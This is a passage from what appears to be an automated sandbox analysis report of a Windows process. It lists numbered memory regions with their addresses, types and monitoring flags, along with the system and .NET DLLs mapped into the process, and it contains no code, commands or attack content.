region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Configuration\\4beb1eeca20b27d4bd1bb9880f03cc2a\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.configuration\\4beb1eeca20b27d4bd1bb9880f03cc2a\\system.configuration.ni.dll") Region: id = 859 start_va = 0x7fef2210000 end_va = 0x7fef2abafff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\5ee35debfc22f727e70e4479ddcbc045\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xml\\5ee35debfc22f727e70e4479ddcbc045\\system.xml.ni.dll") Region: id = 860 start_va = 0x7fefe4e0000 end_va = 0x7feff267fff monitored = 0 entry_point = 0x7fefe55cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 861 start_va = 0x490000 end_va = 0x490fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 862 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 863 start_va = 0x7fefd590000 end_va = 0x7fefd5b1fff monitored = 0 entry_point = 0x7fefd595d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 864 start_va = 0x77da0000 end_va = 0x77da6fff monitored = 0 entry_point = 0x77da106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 865 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 866 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 867 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 868 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 869 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 870 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 871 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 872 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 873 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 874 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 875 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 876 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 877 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 878 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 879 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 880 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 881 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 882 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 883 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 884 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 885 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 886 start_va = 0x700000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 887 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 888 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 889 start_va = 0x1bda0000 end_va = 0x1be9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bda0000" filename = "" Region: id = 890 start_va = 0x7ffffef6000 end_va = 0x7ffffef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef6000" filename = "" Region: id = 891 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 892 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 893 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 894 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 895 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 896 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 897 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 898 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 899 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 900 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 901 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 902 start_va = 0x700000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 903 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 904 start_va = 0x720000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 905 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 906 start_va = 0x9a0000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 907 start_va = 0x9b0000 end_va = 0x9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 908 start_va = 0x9c0000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009c0000" filename = "" Region: id = 909 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 910 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 911 start_va = 0x4a0000 end_va = 0x4a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 912 start_va = 0x1bed0000 end_va = 0x1bfcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bed0000" filename = "" Region: id = 913 start_va = 0x7ffffef4000 end_va = 0x7ffffef5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef4000" filename = "" Region: id = 914 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 915 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 916 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 917 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 918 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 919 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 920 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 921 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 922 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 923 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 924 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 925 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 926 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 927 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 928 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 929 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 930 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 931 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 932 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 933 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 934 start_va = 0x700000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 935 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 936 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 937 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 938 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 939 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 940 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 941 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 942 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 943 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 944 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 945 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 946 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 947 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 948 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 949 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 950 start_va = 0x700000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 951 start_va = 0x700000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 952 start_va = 0x700000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 953 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 954 start_va = 0x720000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 955 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 956 start_va = 0x9a0000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 957 start_va = 0x700000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 958 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 959 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 960 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 961 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 962 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 963 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 964 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 965 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 966 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 967 start_va = 0x700000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 968 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 969 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 970 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 971 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 972 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 973 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 974 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 975 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 976 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 977 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 978 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 979 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 980 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 981 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 982 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 983 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 984 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 985 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 986 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 987 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 988 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 989 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 990 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 991 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 992 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 993 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 994 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 995 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 996 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 997 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 998 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 999 start_va = 0x7fe92090000 end_va = 0x7fe9209ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92090000" filename = "" Region: id = 1000 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1001 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1002 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1003 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1004 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 1005 start_va = 0x700000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 1006 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 1007 start_va = 0x7fef3050000 end_va = 0x7fef31b5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\b221af81285c1305324612e6dc9c88ff\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.management\\b221af81285c1305324612e6dc9c88ff\\system.management.ni.dll") Region: id = 1008 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1009 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1010 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 1011 start_va = 0x7fef7250000 end_va = 0x7fef727ffff monitored = 1 entry_point = 0x7fef7256930 region_type = mapped_file name = "wminet_utils.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WMINet_Utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wminet_utils.dll") Region: id = 1012 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1013 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1014 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1015 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1016 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1017 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 1018 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1019 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1020 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 1021 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1022 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1023 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1024 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1025 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1026 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1027 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1028 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1029 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1030 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1031 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1032 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1033 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1034 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1035 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1036 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1037 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1038 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1039 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1040 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1041 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1042 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1043 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1044 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1045 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1046 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1047 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1048 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1049 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1050 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1051 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 